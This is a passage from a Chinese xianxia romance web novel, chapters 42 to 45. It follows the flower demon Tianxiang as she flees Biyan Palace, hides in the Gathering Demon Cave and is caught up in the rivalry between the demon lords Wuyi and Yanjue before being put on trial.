衍决不由得笑出声,长眸深暗,“小花妖,他们不听你的呢。”
乌星大喊,“小香姐姐,我没事!”
但他未说几句,一旁弟子就掌风毫不留情拍他后背,“老实点!”
他虽面色凝重,坚定看她却不呼痛。
衍决足尖立于檐顶,身长玉立,似笑非笑的看着他们。
天香沉默,如今她身无修为,只是几名碧岚宫弟子她都搞不定,怎样她才能让他们放了乌星……
再犹豫下去,等赤地、千里二人前来,只怕乌星更难脱身。
渐渐涌上酸涩,眼中竟觉热意。心中有些委屈,如此境地,她没有第二种选择。
天香绞着手中衣服,想来她也没必要坚持了。
她微微垂眸,“衍决,求你......救下乌星。”
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他唇角微微勾起,柔声道:“既然是你的朋友,我自然不会见死不救。”
“她果然是转轮王手下的人,埋伏宫主身边已久,用心险恶!”见衍决出手,那几名弟子更是愤恨。
为首一人大声道:“大家一起上,赤地长老稍后就来,我等绝不能让这几人逃了!”
衍决冷笑一声,掠夺周围魔修生机来凝成掌心灼灼黑火。火光燎燎,掌心黑火愈盛,周身也涌起淡淡黑雾,不稍片刻,他身旁萦绕黑雾,甚是诡异。
几名碧岚宫弟子已十分虚弱,境界底者已经倒下。压制天香和乌星的弟子也晕死过去不省人事。
又过片刻,所有围攻上来的弟子竟全部躺倒在地,没了生息。
“他们......都死了?”天香倒吸一口气,捂住嘴巴。
忽的几柄红光凝成的飞剑,一下熄灭衍决掌心流火,连带破开黑雾,赤地的身影带着数名高阶弟子一起显现。
衍决微微一笑,人来的越来越多了,也罢,他还有更重要的事做,是时候离开这里了。
平等城内,分裂的两派正斗的昏天黑地,他只需稍微出手,就能扭转战局。只要周放赢了,他就能获得平等王城的势力。
只是无奕此刻不在宫中,不知有没有先去一步。他神色如常,眸色却暗下去。
他收起全部业火,准备脱身,淡淡笑道:“小花妖,记得捏碎手中符纸。”
“小香姐姐,快跑!”乌星忙封闭了气息,化回原形,隐匿进暗处。
天香心底恍然,脑中只剩一个念头,如今以后,她算是洗不清了。整座碧岚宫的人都亲眼所见,衍决为救她,杀害了三十余名碧岚宫弟子。
从此,她便是碧岚宫的仇人,也是无奕的敌人。
“好啊,你果然是衍决手下!杀我三十余名弟子,还妄想逃跑,我要你偿命。”赤地脸色一沉。
她双手轻颤,未反应过来,空中便有数柄红光剑飞射而来,杀意锐不可当。
若再迟疑下去,她就要死在这里了……
摇摇头,额前又隐隐作痛。
她竟已衣衫湿透,望着碧岚宫众人,却不知到底在迟疑什么。
众弟子和诸位护法也快赶到了。
天香颤抖着随地拾起一把剑,御气朝赤地飞袭去。
雕虫小技虽被赤地轻易化解,她却躲开杀招,趁机捏碎符咒。
风在耳边呼啸,衣衫猎猎作响,足底传送阵已经启动。
远处有追赶之声,能够听到别人谈论“花妖天香”、“卑鄙卧底”、“碧岚宫叛徒”,但她已不敢去看。
从此以后,她再也无法回碧岚宫,再不可能,站他身边……
心脏快要跳出胸膛,只觉眼前被泪水模糊一片,看不清楚。
耳边剑风呼啸而过,天香终于消失在原地。
符纸随机传送,不知出现在何处。
去哪里都可以,只要能离开碧岚宫。
一切发生的太快,她仍麻木呆在原地,怔怔摸着脸庞,触及湿润一片。
42. 第 42 章
数日后。
天香放下手中盛满灵石的木车,缓缓抬起头。不知过去了多久,洞中昏暗,不分白昼黑夜。
那天,她走投无路,最后出现在聚妖洞门口。
既然已经回不去香溢斋,这里便是她唯一去处。
她埋名易容拜入聚妖洞,已潜藏至今。想必他们也不会想到她竟然藏在这里当个低阶弟子。
她虽受过碧花入体的内伤,境界跌落几层,也比当初强了不少,拜入聚妖洞资质足够。
但她刚从碧岚宫逃出,一身衣衫沾染血迹,又灰扑扑的,不免起疑。
好在小殷见她进来,旋即唇边展开一抹笑意,倒是未曾多问。
她迎接道:“你是新来的妖修吗?资质虽不算天纵奇才,但也已达我宗门槛,就从低阶弟子做起吧。”
“低阶弟子先打基础,这几日,你就干些搬灵石的活吧。”小遥朝远处一指。
天香点了点头,抱着粗粝的灵石,运送到木车上。
一晃几日,她反复劳作,掌心生疼早已磨出鲜血,好在她已经习惯这样的日子。
有时候也会想,若是能摆脱一切,潇洒快活,回到从前生活,该多好。
可惜,她此刻已成碧岚宫死敌,各大宗派互通有无,其下的势力都会追捕她,时刻要担心暴露身份丧命的危险。
而她三番五次拒绝衍决,那日他更是先行离开,想必转轮城也不会给她好脸色看。
好在几日躲避下来,碧岚宫的人竟也没有大肆搜寻她,或许是无奕觉得夺取魔君之位更重要吧。
心中又觉淡淡怅然。
经过一段时间的纷争,几派之间虽偶有擦火,但如今雷行也已死,局势渐定,魔君便在无奕和衍决当中产生。
搬运灵石闲暇之余,她也从其余低阶妖修口中听说这几日局势变化。
据说,无奕行事愈发嚣张跋扈,仗着武力一方横行霸道,又有昆仑雪加持。他在战场上虽杀伐树敌,但碧岚宫日益壮大,也有不少势力投入此方。可他行事直接,未免不识好歹,也得罪不少人。
衍决则不同,在外名声极好,为人谦和有礼,盟友平等城王被无奕杀死后,非但没有趁人之危,还赠予无数珍宝灵石,与各魔族世家门阀关系也都极好,也吸纳不少势力,可始终敌不过无奕。
如今平等城王雷行死后,这股势力尚且摇摆不定,不知站在谁那里,已是二人抢夺对象。
既然这样,他此刻应该在平等城吧……
心思杂乱,也不知道自己为何想起这些,她摇摇头。
局势如何又怎样?无论谁当上魔君,都和她无关。
继续搬起一块灵石,伤口还没回复,虽硌的疼手,但忍忍就过去了。
只是这一次,她或许是旧伤未愈,又劳作数日,有些虚弱,刚拿起那块石头,就险些摔倒过去。
“小心!”一旁好心妖修将她扶住。
天香面色苍白,正欲道谢,却见洞口出现了她以为此生都不会再见的身影。
仿佛浑身血液瞬间逆行,灵石再握不住,滚落脚边。
他为什么会来聚妖洞?
洞地底水潭不知何时覆一层冰面,连带那块灵石冻了个结实。
上面又受力碎裂,出现道道交错裂纹。
魔息动荡下,细小冰凌聚集在一起形成环状,绕在出鞘的昆仑雪剑身上。
一人玄衣玉冠,只是走了几步周遭空气就开始降温,身后是一众碧岚宫弟子,他微仰起头,声音冷冷,“妙阴,我看你实在不怎么灵光,困境求生,却认错了主。”
无奕若有若无朝这里撇了一眼,天香想都没想,当即施法掩盖去身上紫纹笛的气息。
他太敏锐,迟一刻就怕暴露。好在那人离她很远,只是这点细微动静,不算什么。
妙阴姥姥一惊,蛇杖紧握掌心,无奕已徐步而来。
他看起来走得极慢,但每一步落下时,便已与上一步相差极远,不觉间,人已走到面前。
......
平等城,雀南阁。
众多残留弟子分为两派,正为谁统治平等王城争执。
“哼,如今局势我等自然是要争一争的,否则你不去招惹别人,别人未必不来打你。”周放十分心有不甘,就因为贾勉那小子去碧岚宫做了几年卧底,平等城主就该给他?岂有此理。
他可不是什么大善人,既然得不到平等城,就直接投奔转轮王,倒时候杀了贾勉还不是和捏死一只蚂蚁一样简单。
“如今形势,对我平等王城颇为不利,怎么能和别人拼你死我活,应当稳固内部。”贾勉锐利的目光扫他一眼。
周放眉心皱了起来,“碧岚宫近来虽然风头更盛,可宫主早已不是当年魔君,显然是转轮城更胜一筹,我等就该站在转轮王一方。”
他注视贾勉半晌,冷笑一声,“你不会是那里呆久了,反倒想投诚碧岚宫了吧?”
贾勉脸色铁青,“我只不过是想带领平等城独善其身,如今局面,还是不要随意投入谁内部好,周放,你莫要曲解我意思!”
周放不以为意,嘲讽道:“若不是你设计在聚妖洞中除去无奕失败,又怎会让他掌控局面?吾王之死也与你有关,你还想夺走平等城?”
“当初吾王受蛊惑前往聚妖洞得神剑,我早就劝阻无果,反倒是你支持前去,谁知道你当初居心叵测?”贾勉怒上心头,极力忍耐。
他此番话一出,虽震住在场多名弟子,然而周放一派也不甘示弱。
贾勉眸色幽深,“况且,我知晓你与转轮王关系不菲,恐怕你说投奔他,是指把平等城王交由衍决吧。”
周放却不正面回应他,“如今局面我们若是不投靠一股强大势力,难道等着被吞并?。”
贾勉皱眉,正当沟通无用,两派就要相斗。一人身着白衣,身影飘逸,忽的出现。
“你来做什么?”贾勉警惕看着衍决,身后几名弟子正要施法。
衍决面色带着淡淡笑意:“我来自然是来履行当初约定。”
天香精神一震,只是远远望了一眼,倒是很快敛去神色,只是搬着一块沉甸的灵石,一步步挨到了盛满灵石的木车。
本以为离开了碧岚宫,就不会再见他,谁知刚在聚妖洞便碰上。好在衍决在她身上下了易容术,无奕应该没那么轻易觉察。
她摇摇头,只求这场斗争快些结束,好回到香溢斋。
妙阴姥姥微微扯了扯嘴角,露出抹笑意,摸不准他心思,只得恭敬道:“不知碧岚宫主大驾光临所为何事?”
她身后的小殷眉头皱起,看他一眼,小遥则是默不作声。
“有一事需要你们助我。”他淡淡道。
他话说的虽然客气,但明眼人都知道,当今形式,聚妖洞没有拒绝的权利。
小殷上前一步,“你凭什么认为我们会帮你?”
无奕眉目舒展,只当没听见,抬手间,碧岚宫弟子涌入,即刻围住洞口。
他如此不识好歹,直接带着弟子围堵聚妖洞。
小殷登时脸色难看,按捺不住,指尖凝聚妖息,化掌推出,阻止弟子前进脚步。
“你这是什么意思?我看谁敢乱来。”小殷面带怒色。
那群弟子被阻了脚步,停止在原地,
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等候宫主发落。
无奕面色冷淡,一双长眸已见不耐。
他凭空一指,小殷上一秒还是神色如常,下一刻已双眼一空,木楞站在原地,就如忽然被抽去灵魂一般。
小殷身体瘫软摔倒下去,小遥抱住,恼怒道:“你对姐姐做了什么?”
碧岚宫弟子皆数涌入,无奕冷眼瞥她一眼,“连局势都看不清,想找死,我自然拦不住。”
天香远远看他一眼,明明只是几日未见,却像换了个人似的,他身上杀伐之意极重,只是长眉微皱,眸中也尽显肃杀之色,叫人看了难免畏惧。
他虽造访聚妖洞十分嚣张跋扈,但在场所有洞中弟子竟都束手无策。
妙阴打破僵局,扯了扯嘴角,“碧岚宫主也不是不知,老朽为转轮城主衍大人效命,无法侍奉二主,宫主莫要强人所难。”
她此话将为难化解,又抛出自己受转轮城主庇护的事实。况且聚妖洞本就在转轮城辖境内,这是不争的事实。
无奕冷笑道:“你不过是依附强者。”
小遥抱着小殷尸体,气不过眼眶已是泛红,妙阴姥姥面色愈发肃然,手中捏紧蛇杖,指尖捏的生疼,面无表情死死盯着他。
片刻后,她却忽的怪笑起来,笑声有几分骇人,“临阵易主可不是什么好决定,老朽还是有分寸的。”
无奕淡淡扫她一眼,“他是你的主吗?”
妙阴思索他的话中意思,衍决离去前,虽走的匆匆,但留下话,若是有事可随时传信于他。
衍决应该不会在此刻抛弃她,想必无奕只是在诈自己罢了。
这么想着,她又静下心来。
她笑意越深,“碧岚宫主再这么不客气,我只好求助衍大人了。”
“他在平等城夺势,没空管你。”无奕走到妙阴和小遥中间,昆仑雪剑气的寒意离她脸颊只一寸。
“妙阴,你想清楚没有。”
小遥抱着小殷,一双杏眼通红,带着怒意。若不是因为怀中有殷姐姐需她照顾,只怕不用无奕提剑,她自己就会一头撞死在剑上。
妙阴姥姥长叹一口气,无奕绝不会贸然前来聚妖洞,况且今日来的碧岚宫弟子众多,恐怕她聚全洞之力也难敌。
衍大人确实去往了平等城,此刻赌他前来救她,无异于赌她和平等城在他心中的重要性。
也罢,不如依他的意思,时机成熟时也可临阵倒戈,走一步看一步吧。
“既然如此,碧岚宫主要老朽做些什么呢?”妙阴面色冷冷。
天香在远处静静听着,只觉得心中扑通扑通的跳,像有不好的事情就要发生。
无奕眸光微微一闪,不知是不是她错觉,竟觉得他唇边带上一抹笑意。
他声音虽仍是傲慢,但已沉静许多,低声道:“我知道你心里在想什么,既然你喜欢倒戈,不如让衍决再也无法接受你。”
碧岚宫弟子提剑将聚妖洞弟子渐渐围至穷途末路。眼前的剑险些割开她咽喉,锋芒未免太近,天香咽一口水,悄然后退。
衣衫飘动摇摆,空气中忽的弥漫一股熟悉的异香。
天香这才想起,她衣衫口袋中有溢出的碧花瓣,是自己在宫中带出来的!
他若有若无朝天香看了一眼,吩咐妙阴,“这些就是全部了吗?将你洞中弟子尽数召来。”
天香心底一骇,把所有人召来,是要找她吗?难道,她被发现了。
“这是?”妙阴面色也略有不安。
无奕似是懒得答话,随手布一道传送法阵,“带上所有人,去转轮城观澜阁。”
他身形即刻就消失,剩天香愣在原地。
43. 第 43 章
雀南阁殿内一片议论之声。
主战派一名弟子亮出法器金光刀:“呸,平等城在你们这群孙子手里早就完蛋了!”
周放阴险的笑着并不阻拦。
两派之间关系紧张,就快打起来。
贾勉脸色阴沉:“周放,当初我们不是说好,不让他人插手平等城的事!”
眼下衍决插手,他一人与周放打的尚且吃力,若是他二人加起来,他就无论如何也打不过了。
如今局势一边倒,这样下去平等城就只能落入主战派手中。
周放懒懒笑一声,洋洋得意道:“我反悔了,又能怎么样?”
他一副小人得志模样,语气轻蔑,贾勉面带怒意,死死盯着他。
周放挥一挥手:“你们几个,给我上!”
虽然局势已定,但凭他对贾勉了解,贾勉倔的很,绝不可能投降。
这就怪不得别人了,他只能收下那小子一条贱命。
拿金光刀的冲了出去,贾勉身后一人手提大锤稳稳接下,眼中怒意滔天。
双方弟子尽数摆出战斗架势,几人已经兵刃相交。
衍决站于一旁,长眸冷冽,淡淡扫过众人,似是有些无聊。
“周放,你这个叛徒!我今天要你狗命!”贾勉身后一人实在看不下去,掌心幻化一把黑雾短匕,趁不注意狠狠刺向周放。
周放一时猝不及防,忙后退半步,推掌反击。
没成想那人避也没避,生生受下这掌,手中牢握匕首继续刺来!
周放咒骂一声:“不要命的疯子。”
距离太近,这时周放才是真的慌了,慌乱中跌坐在地上。
眼睁睁看着自己的魔息点点消散在空中,那把黑匕似有破空之声,直刺颜面而来!
衍决漫不经心的看着,唇角微勾。
周放心有不甘,本以为和衍决合作,自己必是稳坐这平等城王的。
他不过就是境界比贾勉低了点,便处处不受雷行那厮重视,好不容易挨到他死了,又跑出个贾勉。
为了今天成功夺权,他谋划了那么久,可不能失败在最后一步!
周放脸色一横,眼中渐渐聚起阴霾。想也没想,起身欲正面接下这招。
但那名弟子还未近他的身,就脸色一变,整个人定住,断匕颤动却不能再进一分。
点点流光骤然聚于周放身前,空中是热浪扑面感,周放抹一把脸,发现额前发梢都烧焦了几缕。
转头一看,衍大人似笑非笑,眸中有一闪而过的红光。
那名刺杀他的魔修,身形已化作微光齑粉,融入火光中。
风中都是震荡的魔息,那把黑雾凝成的短匕顷刻消散。
周放咽一口水,这才感受到转轮王的可怕。
衍决轻轻一笑:“不自量力。”
贾勉的声音控制不住的颤抖:“衍决,你做什么!”
身后弟子头一次见他这么愤怒,声音带着焦急,双目沾染赤红。
他笑笑,望着眼前流光闪闪,岂止是周放的魔掌,还有衍决的焰刃。想不到周放为了夺位,竟动了这么大阵仗。
他心中愤愤,若是将平等城交给周放这小子,只怕会乌烟瘴气。
热浪扑面,抬头看一眼衍决。他忽然觉得这伪君子一身修为也没什么了不起的,就算是拼上性命,他也要手刃这个小人!
贾勉身后弟子也尽数冲上前来,几人光是接近那道流火墙,手中招式便瞬时崩碎,但仍是不后退。
他掌心聚起魔息,不惜铤而走险,猛然一掌将流火化散,整条手臂连同衣衫被灼为焦黑。
周放见这几人在天铩业火中苦苦挣扎,露出满意神色。便起身拍拍灰,又拢了拢衣襟,唇角微微勾起,只觉得胜券在握。
看来命运天平还是向他这一方倾倒,今日将贾勉那几人尽数杀了,这平等城王的位子就是他的。
衍决则微眯双眼,心中浮起一股不详预感,垂眸看着奋力破开流火的贾勉,声音低沉,“速战速决。”
“宗主!无奕带着聚妖洞攻来了观澜阁。”那声音微颤,正是他留在阁中的弟子。
衍决面色瞬间一沉,心想到这个时候了,还不见无奕身影,原来是前往聚妖洞为攻打观澜阁。
他眸中先是一暗,而后愣了半晌,实在忍不住轻笑出声,笑得支撑不住,咳嗽两声。
身旁人皆是怔住,他只是任眼泪都笑出来,自顾自道:“原来如此,原来如此!”
不光周放被吓到,贾勉也将眉头皱起。
衍决懒懒的看着掌心火光,这就是无奕带聚妖洞去攻打观澜阁的原因,妙阴是爱倒戈的性子,若不是他许诺聚妖洞的安宁,她也不会跟着自己。
既是只依附强者,这股弱小势力便难以收服,唯一办法就是,让妙阴随他一同攻打观澜阁,如此一来,妙阴就和他结仇,就是想回也回不来了。
如此一来,聚妖洞势力算是他的了。本来这也无妨,他能够拿下平等城的势力,这里正是关键时刻。
但他若不回去,留在观澜阁中为摩妙重塑肉身用的各式珍宝,就会被夺取,重新搜罗怕是要花不少时间。
他已打定了注意,衍决冷笑一声,凤眸微微上挑,“他们只有贾勉一人是藏胎境,这三枚火光雷你拿着,我离开片刻。”
周放神色一愣,衍决此刻离开,战局逆转如何是好,他险些接不住三枚火光雷,上面有若隐若现的流火纹,火纹泛紫光,施法者至窥虚境上,怕已到混元境。
贾勉那小子不过藏胎境,此物降他绰绰有余,但他仍有些猝不及防,正要上前阻拦,“城主大人!”
衍决面带笑意,足底一股烈火生起,周放不敢前进,他化一道烟云便消失。
碧岚宫到底不是乌合之众,观澜阁四周护城阵法虽阴毒,可吞藏胎境以下修士魔息为衍决所用,但无奕已一剑破除,站在殿前。
一大批魔修忽的冲出,碧岚宫弟子随后攻了上前。小殷仍在昏迷之中,小遥也拔出腰间弯刀,弯刀寒光闪到天香脸上,妖瞳显现。
天香望着不远处无奕的背影,打量他那佩剑,心中比较,只觉得这柄圆月弯刀虽也是上乘武器,和昆仑雪还是差远了。
她又摇摇头,差的远不远又和她有什么关系。她已决定不再回碧岚
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宫,今后二人也不会再有交集。
她正暗自神,小遥已拍她肩头,低声吩咐,“你,帮我照顾殷姐姐。”
说着,小遥将小殷放到她怀中。天香不及回应,小遥继续道:“说来奇怪,我虽是第一次见你,你身上却有股奇怪的味道,让我觉得和你曾相识。”
天香心中一跳,她说的味道想必是碧花香,天香生怕暴露,笑笑不说话,小遥的身形已瞬间冲了出去。
一只妖修小声提醒,“你呆好,莫要乱跑,那几名观澜阁弟子皆有藏胎境以上修为,你我稍加不慎,便会白白丧命。”
天香胡乱得点头,感到隐隐不安,无奕今日是没打算再留情,若是观澜阁拼死反抗,就会造成极大麻烦。
衍决去了平等城,此刻也不在,观澜阁恐怕会死很多人。
正当剑拔弩张,一丛业火陡然生起,化形缠住昆仑雪,一招快如闪电,击退无奕几步,剑风呼啸,吹得他发丝飞动。
他轻轻挑眉,衍决已出现殿前,“怎么,碧岚宫收复北十三宗,如今也要收了我转轮王城?”
见熟悉的身影,天香愣住,衍决不是去了平等王城,怎得去而复返?
无奕嗤笑一声,面露不屑,“转轮城主急匆匆赶回,倒是打搅了你的好事。”
衍决看着面色清秀温和,扫一眼妙阴,也不恼怒,“碧岚宫主已将聚妖洞收入囊中,我先行恭喜,但有一只小妖不能随你走。”
妙阴已被无奕威胁一同攻打观澜阁,如今境地就算她还愿意投诚自己,无奕也不会放过。
也罢,聚妖洞便给他了,只要能将平等王城拿下,这些都不算什么......
空中似有霜寒气息,剑气惹得殿前魔息动荡,无奕长衣鼓动。
天香抱着小殷,神色惶惶,茫然抬头,忽的和衍决目光撞上,不知为何,竟觉得有些脊背发凉。
她复低下头,不安的看着咬咬下唇。
衍决笑意更深,下一刻,竟将她轻飘飘提了起来,至自己身旁,揽入怀中。
小殷还在昏迷之中,天香忽的被一股力量召唤而去,小殷的身体随即摔倒在地,小遥面色一白,“姐姐!”
好在天香身边那名妖修及时出手,抱住小殷,但她也是心中疑惑,为何转轮城主独要抓这名弟子?
天香此刻已不清楚,还没接受发生了什么。她面色微微发烫,脑中嗡嗡作响,已在衍决怀中,被迫面对碧岚宫众弟子,以及他。
再见面竟是这般情景,不知无奕会如何看她,对她说什么。
衍决明明已经答应隐瞒她身份,待事情结束就让她离开。难道她又被利用,天香只觉得心如乱麻。
她抬头看向无奕,衍决则缓缓垂眸看她一眼,眼中尽是怜悯。
她微微怔住,缩回目光。无奕玉白面容虽美,但十分冷淡,一袭飘逸长衣,身后拥立数名碧岚宫弟子。
他眸光微微一动,无奕已经认出了她,天香反而平静下来。
他静静看了她一会,蹙着眉头,眸色平添阴霾。
无奕怒极反笑,“我道是哪名小妖,原来你一直藏在聚妖洞,真让我好找。”
44. 第 44 章
无奕长袖一拂,她面上伪装尽数除去,露出原本面容。
小遥吸一口气,神色一震,“竟是你!你这妖修之耻,怪我眼拙没认出,还敢混入我聚妖洞。”
衍决垂眸轻笑,声音却冰冷警告,“你们若敢动她,聚妖洞也不必存在了。”
小遥气极,想继续说,被妙阴姥姥拦下。他此话毫不客气,妙阴看在眼里,但只能默不作声。
聚妖洞已被衍决抛弃,碧岚宫带着她也只是一时利用,妙阴摇摇头。
这些道理,小遥又怎么不懂,她收起弯刀,想说的话也噎住,此刻只能老老实实。
可叹魔修对妖修嗤之以鼻,谁又体会妖在魔界生存的艰难。
衍决微微一笑,声音仍是温和,“是她自己要和我走的,我与这只小妖十分投缘,还请碧岚宫主不要横刀夺爱。”
无奕冷眼瞥他一眼,冷笑道:“你喜欢她,就不会拿她作潜伏的棋子,不必惺惺作态。”
衍决非但不恼,眼中神色更是莫测,“碧岚宫主不愧是我对手。”
无奕眼中更是不耐,昆仑雪起,剑峰直逼衍决咽喉而去。衍决身形一闪,轻飘飘后撤,带起一簇流火将剑气拂开,身后地面一道深深沟壑,冒着寒气。
衍决撤出剑气范围,将流火凝成聚拢的一支火箭,顺势向前一送,但到了昆仑雪剑气范围内,确再进不得分毫。
天香仍被禁锢衍决怀中,昆仑雪剑气自她脸颊一闪而过,左脸即刻微微覆上一层霜。她只是扭开头,神色落寞。
左脸颊刺痛微微传来,她心中闷闷,转对衍决。
天香忽的开口,“你放开我,我想回香溢斋。”
无奕似笑非笑,神色仍是倨傲,“聚妖洞既已归顺,你就是我的人,理应回碧岚宫。”
天香怔住,回望着他,神色暗淡,恍惚间疲惫一笑,没看他的表情,也没再答。
衍决将掌心流火熄灭,不知想什么。此刻不交出天香,恐怕不能善了,留下不少麻烦,当务之急是先稳住局势,现在还不到决战的时候。
况且那些秘宝,绝不能随便交出,他已经把摩妙天极的术法学的差不多,就算他当这个天极也没人会发现。
所以,如果大决战输了,这就是他的后路……
想着,他又凝眸看向天香,她发间别着一朵玉兰。虽身着聚妖洞常见弟子服,却是墨发雪肤杏眼桃腮,像极了当年的阿泽。
再看一眼,他便舍不得放她走,赌上一切也要留下她。只可惜现在她已经忘记了以前的事,再也不记得他,心中只剩无奕。
无妨,有重瓣莲花簪在,她不会有事。
等她恢复仙体,只要借浮华幻镜,就能恢复她的记忆,现在还不是最佳时机。
衍决沉默一下,低声在她耳畔道:“别怕,你身上有我放的灵簪,可保魂魄不散,你若有任何闪失,我会随时出现。”
下一刻,他将天香推了出去,“好啊,三日之后,我自会上碧岚宫。”
天香心底泛起一股绝望,什么也听不见,她不愿再回碧岚宫。
无奕身后几名弟子却已将她制住,原来她从来都身不由己。
无奕挥手让弟子撤退,算是允诺了衍决三日之约的挑衅。
他面无表情,淡淡道:“带她走。”
......
观澜阁殿上。
贾勉攻势愈演愈烈,周放额头溢出冷汗,侧身避招,手中捏紧转轮城主留下的火光雷。
不能只退不进,周放慌乱出手,霎那间扑身接近贾勉,一刀萦绕黑绿雾气的飞针以一个刁钻角度袭去。
与他同派的几名弟子也纷纷出招,其中两位境界以逼近藏胎,一位幻化出一柄巨斧劈向对面,一位聚气凝成几道牢固丝线,将对面几人困住。
贾勉骤然避开向前,手中虽然没有凝聚魔息,但出招迅速,未有半分间隙。到周放身前才见拳上散发阵阵黑气,直击对方要害。
这股魔息几乎贴身瞬时凝聚,让周放没有任何察觉机会,杀机乍现。
周放神色一闪而过的惶然,挨下这拳口吐鲜血,后退几步,却不敢迟疑,连忙投掷出手中的火光雷。
对面丝毫没有留手,他也不敢大意。贾勉身后一名精通法术的弟子,聚出一面大墙将火光雷挡在半空中,周放忙与对方拼起魔息。
如今不是你死就是我亡,真是生死搏杀,若是这枚火光雷没能将贾勉制住,他就会处于绝对劣势。
然而贾勉身后凝出巨斧的弟子看准时机,大喝一声,凝聚全部力量,向前面砍来!现在他无法离开,依然进退维谷。
只是片刻,周放脑海中闪过的唯一念头便是,没有机会了......
怎么会走到这一步,差一点就赢了。
火光雷引爆,数名弟子丧命,他也被巨斧劈中,倒在地上,再无力反击。
贾勉冷笑一声,势如破竹,一拳了结周放性命,周放再也没能站起来。
......
碧岚宫内。
天香被两个低阶弟子押送着,一路受尽他人打量目光。
碧花海依旧旺盛,仿若四季如春。山风拂过,却没有令人放松的感觉。
天香默默走着,她是无奕相好,又是转轮王派来卧底的事早就传遍整座碧岚宫。
原本宫主网开一面,只是禁足让她交代原委,她却不识好歹再度借出逃,甚至借转轮王之手杀害数名弟子,身系命案。
奈何宫主攻上观澜阁,转轮王竟然为求自保,临阵将她交出。
她这幅模样,怎么看都是颗弃子,偏偏和宫主有段旧情,众人都好奇宫主会如何整治她。
但她却出奇的平静,要说后悔,她只是想着没能再回一次香溢斋。斋主虽是个暴脾气,性子却直来直去,没那么多弯弯绕绕,竟有些想念她了。
她穿着聚妖洞常服妖修的素衣,身上挂着几处伤痕,左脸颊还有道血迹,是观澜阁无奕与衍决交手时误伤。虽有些落魄,但都这种时候了,也无所谓。
无奕面色阴寒一路疾走,遇门直接从外震开。
此行去往议事殿,沿途经过碧花海,几名弟子压着两个熟悉的人上来,正是她逃离碧岚宫那日,贴身守着她的两名侍从。
那两人面色惶恐,不敢发话跪着等候发落。
“杀了。”几人阻挡他去路,无奕颇有些不耐烦。
弟子也是察言观色之人,默默行礼便将两名侍从押了下去。
天香不由得微微眩晕,宗门侍从只是普通人,她是为了救乌星害死数名弟子,但无奕也没必要这么凶狠吧?<
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p>那两名侍从面如死灰,吓得险些站不起来,被架着离去。
她咬咬下唇,“他们身无修为,只是被卷进来,别杀他们!”
无奕强压下怒意,冷笑道:“你自身难保,居然还想给别人求情?”
“若是传出去滥杀无辜,对碧岚宫名声也有损......”一想到那两人无辜,她仍是不肯松口。
在与她灵魂互换时,她操纵着一切,因一己私欲放跑贾勉。如今他已经知晓一切,而她再没有机会,凭什么听她的?
他一想到她费劲心思接近自己,实则装模作样,刺杀无果后又杀害碧岚宫数名高阶弟子,更是怒火冲天。
无奕沉下脸挑眉,“你说不杀就不杀,你以为还能找到互换的机会?”
他说这话压低声音,旁人听不太清。天香却见他抑制不住的暴戾眸色,感到一股惧意袭来。
天香只觉得浑身长嘴也说不清了,低下头就要放弃,但那两人或许看到生的希望,正在一旁战战兢兢等候。
她不忍的转过头,心想自己今日虽在劫难逃,但也不是无能为力,至少此刻,若能救下这两人也是好的。
“我知道你讨厌我,看在往日的情面上,我只求你这一件事......”她沉默片刻,再度艰难开口。
无奕原本已忍下怒气,但她不知为何,竟非要替这两人求情。怎么,随便两个陌生人都可以让她舍命相求,和自己朝夕相处就可以刀剑相向?
他捏住她下巴,笑带丝玩味,“往日的情面,师妹,你说天璇宗?”
无奕还是第一次这么不讲理,她大吃一惊。面色痛苦,拨开他手,“放开我,别提天璇宗,你已经不是他了。”
他简直像听到天大的笑话,以前也就罢了,现在二人已反目成仇,她还敢提起这些事?不过是一场欺骗,她有什么资格提情面。
“有事求我,就搬出天璇宗。如此舍不得,难道你特别喜欢师兄师妹的称呼?”无奕语气冰冷。
“你!我情愿从未遇见你。”天香更是恼怒。
他言语之间毫无情意,只剩羞辱。她感到胸口阵阵顿痛,眼角泛红,已有湿意。
无奕脸色十分难看,“你要是不喜欢,我可以替你洗去这部分记忆。”
天香沉默不答,她巴不得洗去全部记忆。可若是忘掉全部,人就变成了痴傻,也不再记得以前的事。
那把紫纹笛还在她身上,心中还有一丝无法割舍......
无奕见她沉默神色,心底无端烦乱,也不愿再多说。目中森冷,丢下一句,“这两人稍后发落,先押她去议事殿。”
即刻,两名弟子将她押进议事殿。
无奕坐上位,赤地、千里两名长老排坐左右,其后还有几名宫中长老。
再远处便是北十三宗与其他小宗小派,聚妖洞是不会来的,即使被迫臣服于碧岚宫,她们也不愿踏足此地。
最尾处站着高阶弟子,其余的弟子便没有资格进议事殿了。
如今阵仗都是为她所设,新仇旧恨,怕是不叫她扒层皮不能甘休。
天香缓缓走进议事殿,还未站稳,就被那名低阶弟子往前一推,她不由得跌倒在地。
她抬眸,见周围视线无不是冰冷。复低下头,闲看衣角素面花纹,眼中涌起倦意。
45. 第 45 章
“卑鄙妖女!你勾结转轮王杀害碧岚宫三十余名弟子。赤地长老,请速速判决今日必让她偿命!”
忽闻有人朝着赤地高声发话,她抬眼看过去,发现角落里,一个高阶魔修尤为激动。
说话的人是碧岚宫的黑使护法,精通一身法技,又为人慷慨,愿意将平生所学倾囊相授,所以他在宫里声望颇高。
宫中不少弟子师从于他,那几名死去的弟子中也有他精心栽培的徒弟,想必此刻他是恨天香恨得牙痒痒。
北十三宗的女修浅浅笑着:“磨蹭什么,不过是只下贱妖修,一掌取她性命,抽骨为我炼化法器,还不算没用。”
女修缓缓走到天香跟前,端详道:“就是可惜了这一张端正清丽的脸蛋。”
周边小派炼骨门主也出言附和:“竟敢和碧岚宫作对,如今转轮王主动将她交出,想必她也知道自己被抛弃,已经死到临头。”
他话音一落,殿内又起一片哄笑之声。
“仗着自己能操控昆仑雪,胆大包天,妄图刺杀宫主。如今再也找不到机会,便只能认命。”
在座各派皆是向碧岚宫靠拢的大小势族,其中要么与衍决有血海深仇,要么更推崇碧岚宫的武力。
既然都在同一条战线上,碧岚宫的敌人就是他们共同的敌人,见到刺杀宫主未遂的叛徒,自然要谩骂几句。
她心中冷笑,甚至没有再抬起头来,殿中满是看她笑话的巴结碧岚宫的。
此刻她是最好的出气筒,衍决干的所有事都可以向她讨伐,多踩几脚还能向碧岚宫博取好感,何乐而不为。
赤地长老站了出来,细数她潜伏已久的两幅面孔,以及妄图刺杀宗主失败后,她又是如何杀害宫众逃脱的。
到最后,衍决干的事情,也都扣到了她头上,许多未必与她沾边的,也连带被一并列举了,殿上一众大小势力不时附和。
